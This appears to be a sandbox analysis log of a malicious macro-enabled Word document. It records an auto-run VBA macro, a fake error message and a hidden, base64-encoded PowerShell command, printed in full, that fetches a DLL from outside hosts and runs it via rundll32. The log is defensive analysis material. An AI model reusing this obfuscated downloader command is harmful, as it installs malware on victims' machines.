Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: ARCH_25_012021.doc	OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation	OLE, VBA macro: Module A5ate73kc6cw5njy, Function Document_open			Name: Document_open

Source: C:\Windows\System32\msg.exe	Console Write: ..%..................................... .........................(.....8.(.............#.........................%.....h.......5kU.......(.....	Jump to behavior
Source: C:\Windows\System32\msg.exe	Console Write: ................T...............A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e.......x.(.....L.................(.....	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................................................`I.........v.....................K......x.].............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v.......................j......................u.............}..v....P3......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j..... u...............u.............}..v.....3......0...............x.].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....................#..j......................u.............}..v.....@......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................#..j....X.]...............u.............}..v....@A......0.................].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....#...............s..j......................u.............}..v.....w......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#...............s..j..... u...............u.............}..v.....x......0...............(.].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....7................/.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....7................/.j......................u.............}..v....(.......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....C................/.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....C................/.j......................u.............}..v....(.......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....O................/.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....O................/.j......................u.............}..v....(.......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....[.......e.s. .a.r.e. .".S.s.l.3.,. .T.l.s."...".........}..v....@.......0................E].....(.......T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....[................/.j......................u.............}..v....x.......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....g.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.6.2.............}..v............0................E].....$.......T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....g................/.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....s................/.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....s................/.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v.....%......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@&................u.............}..v.....&......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v.....-......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v.....5......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@6................u.............}..v.....6......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v.....=......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@>................u.............}..v.....>......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v.....E......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@F................u.............}..v.....F......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....'................/.j....@I]...............u.............}..v.....M......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....'................/.j....@N................u.............}..v.....N......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....3................/.j....@I]...............u.............}..v.....U......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....3................/.j....@V................u.............}..v.....V......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....?................/.j....@I]...............u.............}..v.....]......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....?................/.j....@^................u.............}..v.....^......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....K................/.j....@I]...............u.............}..v.....e......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....K................/.j....@f................u.............}..v.....f......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....W................/.j....@I]...............u.............}..v.....m......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....W................/.j....@n................u.............}..v.....n......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....c................/.j....@I]...............u.............}..v.....u......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....c................/.j....@v................u.............}..v.....v......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....o................/.j....@I]...............u.............}..v.....}......0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....o................/.j....@~................u.............}..v.....~......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v....{................/.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....{................/.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j....@.................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............Y.'.).}.}.c.a.t.c.h.{.}.}.$.B.5.8.I.=.(.'.O.3.'.+.'.5.I.'.).....0................E].....<.......T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j......................u.............}..v....8.......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v............0.................%.............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j......................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..%.............y=.v...................../.j....@I]...............u.............}..v....h.......0.................%.....r.......T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j.... .................u.............}..v............0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............ ......../.j....@I]...............u.............}..v....0.......0................E].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...................../.j......................u.............}..v....h.......0................F].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....E.................u.............}..v............0...............X.].............T...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....E.................u.............}..v....x4......0...............X.].............T...............	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsA
Source: unknown	Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC
Source: unknown	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd',FIxqgRZUp
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd',#1
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omuzql\aridm.cve',PiBVmMpskdW
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omuzql\aridm.cve',#1
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjyrclfl\qwodoyj.whn',CPVO
